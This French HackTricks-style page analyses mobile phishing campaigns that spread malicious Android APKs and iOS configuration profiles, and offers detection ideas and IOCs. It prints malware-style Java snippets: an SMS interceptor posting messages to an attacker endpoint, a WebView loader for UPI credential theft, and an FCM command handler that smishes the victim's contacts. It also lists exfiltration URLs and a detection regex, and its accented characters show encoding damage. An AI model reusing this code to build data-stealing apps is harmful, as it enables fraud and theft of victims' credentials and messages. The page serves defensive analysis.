Phishing Mobile & Distribution d'Applications Malveillantes (Android & iOS)

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

info

Cette page couvre les techniques utilisées par les acteurs de la menace pour distribuer des APK Android malveillants et des profils de configuration mobile iOS via le phishing (SEO, ingénierie sociale, faux magasins, applications de rencontre, etc.). Le matériel est adapté de la campagne SarangTrap exposée par Zimperium zLabs (2025) et d'autres recherches publiques.

Flux d'Attaque

  1. Infrastructure SEO/Phishing
  • Enregistrer des dizaines de domaines similaires (rencontre, partage de cloud, service de voiture
). – Utiliser des mots-clĂ©s et des emojis en langue locale dans l'Ă©lĂ©ment <title> pour se classer sur Google. – HĂ©berger Ă  la fois les instructions d'installation Android (.apk) et iOS sur la mĂȘme page d'atterrissage.
  1. TĂ©lĂ©chargement de PremiĂšre Étape
  • Android : lien direct vers un APK non signĂ© ou “magasin tiers”.
  • iOS : itms-services:// ou lien HTTPS simple vers un profil mobileconfig malveillant (voir ci-dessous).
  1. Ingénierie Sociale Post-Installation
  • Au premier lancement, l'application demande un code d'invitation / de vĂ©rification (illusion d'accĂšs exclusif).
  • Le code est POSTĂ© en HTTP vers le Command-and-Control (C2).
  • C2 rĂ©pond {"success":true} ➜ le malware continue.
  • L'analyse dynamique Sandbox / AV qui ne soumet jamais un code valide ne voit aucun comportement malveillant (Ă©vasion).
  1. Abus de Permissions d'Exécution (Android)
  • Les permissions dangereuses ne sont demandĂ©es qu'aprĂšs une rĂ©ponse positive du C2 :
xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<!-- Les anciennes versions demandaient également des permissions SMS -->
  • Les variantes rĂ©centes suppriment <uses-permission> pour SMS de AndroidManifest.xml mais laissent le chemin de code Java/Kotlin qui lit les SMS par rĂ©flexion ⇒ abaisse le score statique tout en restant fonctionnel sur les appareils qui accordent la permission via l'abus de AppOps ou d'anciens cibles.
  1. Interface Facade & Collecte en ArriĂšre-plan
  • L'application montre des vues inoffensives (visualiseur de SMS, sĂ©lecteur de galerie) implĂ©mentĂ©es localement.
  • Pendant ce temps, elle exfiltre :
  • IMEI / IMSI, numĂ©ro de tĂ©lĂ©phone
  • Dump complet de ContactsContract (tableau JSON)
  • JPEG/PNG de /sdcard/DCIM compressĂ© avec Luban pour rĂ©duire la taille
  • Contenu SMS optionnel (content://sms) Les charges utiles sont compressĂ©es par lots et envoyĂ©es via HTTP POST /upload.php.
  1. Technique de Livraison iOS
  • Un seul profil de configuration mobile peut demander PayloadType=com.apple.sharedlicenses, com.apple.managedConfiguration, etc. pour inscrire l'appareil dans une supervision de type “MDM”.
  • Instructions d'ingĂ©nierie sociale :
  1. Ouvrir RĂ©glages ➜ Profil tĂ©lĂ©chargĂ©.
  2. Appuyer sur Installer trois fois (captures d'écran sur la page de phishing).
  3. Faire confiance au profil non signĂ© ➜ l'attaquant obtient les droits Contacts & Photo sans rĂ©vision de l'App Store.
  4. Couche Réseau
  • HTTP simple, souvent sur le port 80 avec un en-tĂȘte HOST comme api.<phishingdomain>.com.
  • User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001) (pas de TLS → facile Ă  repĂ©rer).

Tests DĂ©fensifs / Conseils pour Équipe Rouge

  • Bypass d'Analyse Dynamique – Lors de l'Ă©valuation du malware, automatisez la phase de code d'invitation avec Frida/Objection pour atteindre la branche malveillante.
  • DiffĂ©rence Manifest vs. Runtime – Comparez aapt dump permissions avec PackageManager#getRequestedPermissions() Ă  l'exĂ©cution ; l'absence de permissions dangereuses est un signal d'alarme.
  • Canari RĂ©seau – Configurez iptables -p tcp --dport 80 -j NFQUEUE pour dĂ©tecter des pics de POST non solides aprĂšs la saisie du code.
  • Inspection de mobileconfig – Utilisez security cms -D -i profile.mobileconfig sur macOS pour lister PayloadContent et repĂ©rer des droits excessifs.

IdĂ©es de DĂ©tection pour Équipe Bleue

  • Transparence des Certificats / Analytique DNS pour attraper des pics soudains de domaines riches en mots-clĂ©s.
  • User-Agent & Regex de Chemin : (?i)POST\s+/(check|upload)\.php des clients Dalvik en dehors de Google Play.
  • TĂ©lĂ©metrie de Code d'Invitation – POST de codes numĂ©riques de 6 Ă  8 chiffres peu aprĂšs l'installation de l'APK peut indiquer une mise en scĂšne.
  • Signature de MobileConfig – Bloquez les profils de configuration non signĂ©s via la politique MDM.

Extrait Frida Utile : Bypass Automatique du Code d'Invitation

python
# frida -U -f com.badapp.android -l bypass.js --no-pause
# Hook HttpURLConnection write to always return success
Java.perform(function() {
var URL = Java.use('java.net.URL');
URL.openConnection.implementation = function() {
var conn = this.openConnection();
var HttpURLConnection = Java.use('java.net.HttpURLConnection');
if (Java.cast(conn, HttpURLConnection)) {
conn.getResponseCode.implementation = function(){ return 200; };
conn.getInputStream.implementation = function(){
return Java.use('java.io.ByteArrayInputStream').$new("{\"success\":true}".getBytes());
};
}
return conn;
};
});

Indicateurs (Généraux)

/req/checkCode.php        # invite code validation
/upload.php               # batched ZIP exfiltration
LubanCompress 1.1.8       # "Luban" string inside classes.dex

Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern

Ce modÚle a été observé dans des campagnes abusant de thÚmes liés aux aides gouvernementales pour voler des identifiants UPI indiens et des OTP. Les opérateurs enchaßnent des plateformes réputées pour la livraison et la résilience.

ChaĂźne de livraison Ă  travers des plateformes de confiance

  • AppĂąt vidĂ©o YouTube → la description contient un lien court
  • Lien court → site de phishing GitHub Pages imitant le portail lĂ©gitime
  • Le mĂȘme dĂ©pĂŽt GitHub hĂ©berge un APK avec un faux badge “Google Play” liant directement au fichier
  • Des pages de phishing dynamiques vivent sur Replit ; le canal de commande Ă  distance utilise Firebase Cloud Messaging (FCM)

Dropper avec charge utile intégrée et installation hors ligne

  • Le premier APK est un installateur (dropper) qui expĂ©die le vĂ©ritable malware Ă  assets/app.apk et invite l'utilisateur Ă  dĂ©sactiver le Wi‑Fi/donnĂ©es mobiles pour attĂ©nuer la dĂ©tection dans le cloud.
  • La charge utile intĂ©grĂ©e s'installe sous une Ă©tiquette inoffensive (par exemple, “Mise Ă  jour sĂ©curisĂ©e”). AprĂšs l'installation, l'installateur et la charge utile sont prĂ©sents en tant qu'applications sĂ©parĂ©es.

Astuce de triage statique (grep pour les charges utiles intégrées) :

bash
unzip -l sample.apk | grep -i "assets/app.apk"
# Or:
zipgrep -i "classes|.apk" sample.apk | head

Découverte dynamique des points de terminaison via un lien court

  • Le malware rĂ©cupĂšre une liste de points de terminaison actifs au format texte brut, sĂ©parĂ©e par des virgules, Ă  partir d'un lien court ; des transformations de chaĂźne simples produisent le chemin final de la page de phishing.

Exemple (sanitisé) :

GET https://rebrand.ly/dclinkto2
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
Transform: "gate.html" → "gate.htm" (loaded in WebView)
UPI credential POST: https://sqcepo.replit.app/addup.php
SMS upload:           https://sqcepo.replit.app/addsm.php

Pseudo-code:

java
String csv = httpGet(shortlink);
String[] parts = csv.split(",");
String upiPage = parts[0].replace("gate.html", "gate.htm");
String smsPost = parts[1];
String credsPost = upiPage.replace("gate.htm", "addup.php");

Collecte de données d'identification UPI basée sur WebView

  • L'Ă©tape “Effectuer un paiement de â‚č1 / UPI‑Lite” charge un formulaire HTML de l'attaquant Ă  partir du point de terminaison dynamique Ă  l'intĂ©rieur d'un WebView et capture des champs sensibles (tĂ©lĂ©phone, banque, PIN UPI) qui sont POSTĂ©s Ă  addup.php.

Loader minimal :

java
WebView wv = findViewById(R.id.web);
wv.getSettings().setJavaScriptEnabled(true);
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm

Auto-propagation et interception de SMS/OTP

  • Des autorisations agressives sont demandĂ©es au premier lancement :
xml
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
  • Les contacts sont utilisĂ©s pour envoyer en masse des SMS de smishing depuis l'appareil de la victime.
  • Les SMS entrants sont interceptĂ©s par un rĂ©cepteur de diffusion et tĂ©lĂ©chargĂ©s avec des mĂ©tadonnĂ©es (expĂ©diteur, corps, emplacement de la SIM, ID alĂ©atoire par appareil) vers /addsm.php.

Receiver sketch:

java
public void onReceive(Context c, Intent i){
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
for (SmsMessage m: msgs){
postForm(urlAddSms, new FormBody.Builder()
.add("senderNum", m.getOriginatingAddress())
.add("Message", m.getMessageBody())
.add("Slot", String.valueOf(getSimSlot(i)))
.add("Device rand", getOrMakeDeviceRand(c))
.build());
}
}

Firebase Cloud Messaging (FCM) comme C2 résilient

  • Le payload s'enregistre auprĂšs de FCM ; les messages push contiennent un champ _type utilisĂ© comme un interrupteur pour dĂ©clencher des actions (par exemple, mettre Ă  jour les modĂšles de texte de phishing, basculer les comportements).

Exemple de payload FCM :

json
{
"to": "<device_fcm_token>",
"data": {
"_type": "update_texts",
"template": "New subsidy message..."
}
}

Esquisse du gestionnaire :

java
@Override
public void onMessageReceived(RemoteMessage msg){
String t = msg.getData().get("_type");
switch (t){
case "update_texts": applyTemplate(msg.getData().get("template")); break;
case "smish": sendSmishToContacts(); break;
// ... more remote actions
}
}

Hunting patterns and IOCs

  • APK contient un payload secondaire Ă  assets/app.apk
  • WebView charge le paiement depuis gate.htm et exfiltre vers /addup.php
  • Exfiltration SMS vers /addsm.php
  • RĂ©cupĂ©ration de configuration via des liens courts (par exemple, rebrand.ly/*) retournant des points de terminaison CSV
  • Applications Ă©tiquetĂ©es comme “Mise Ă  jour/SĂ©curiser la mise Ă  jour”
  • Messages data FCM avec un discriminateur _type dans des applications non fiables

Detection & defence ideas

  • Marquer les applications qui demandent aux utilisateurs de dĂ©sactiver le rĂ©seau pendant l'installation puis chargent un second APK depuis assets/.
  • Alerter sur le tuple de permission : READ_CONTACTS + READ_SMS + SEND_SMS + flux de paiement basĂ©s sur WebView.
  • Surveillance des sorties pour POST /addup.php|/addsm.php sur des hĂŽtes non corporatifs ; bloquer l'infrastructure connue.
  • RĂšgles EDR mobiles : application non fiable s'enregistrant pour FCM et se ramifiant sur un champ _type.

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks